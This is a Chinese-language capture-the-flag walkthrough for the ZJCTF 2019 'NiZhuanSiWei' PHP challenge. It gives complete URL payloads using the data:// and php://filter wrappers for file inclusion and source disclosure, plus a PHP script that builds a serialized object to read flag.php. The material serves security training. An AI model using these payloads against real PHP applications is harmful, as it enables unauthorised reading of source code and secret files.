NSSCTF[ZJCTF 2019]NiZhuanSiWei详解(超级无敌详细，伪协议，文件包含，反序列化)

这到题目包含了很多东西，文件包含，伪协议还有反序列化都有，但是不难。

先看源码吧

分析一下：

有三个传入的变量名，猜测最后进入else可以出flag；

首先我们输入的t要满足t=welcome to the zjctf

file不能含有flag但是下面有注释的文件名，可能是提醒我，尝试去读取那个文件构造，首先我们要进入到那么的环境里面去尝试进去 首先file_get_contents是得读取到"文件"里的内容，而$text是一个变量，file_get_contents不能读取一个变量

那我们尝试使用data伪协议去给他赋值，在一个文件里面。payload:/?text=data://text/plain,welcome to the zjctf

成功进入

这时候我们尝试读取useless.php文件内容

使用filter伪协议构造payload:&file=php://filter/read=convert.base64-encode/resource=useless.php

使用工具解码：解码后的代码

useless.php里写的file_get_contents直接去读flag.php，构造反序列化，poc：

<?php
class Flag
{  //flag.php
    public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));

提交序列化内容，要注意这时候我们不需要去访问useless.php文件的内容了，我们构造的反序列化会把之前的覆盖掉，最终我们要的是useless.php来访问我们的flag

序列化代码：

<?php
class Flag
{  //flag.php
    public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));

payload：?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}

查看源码拿下flag；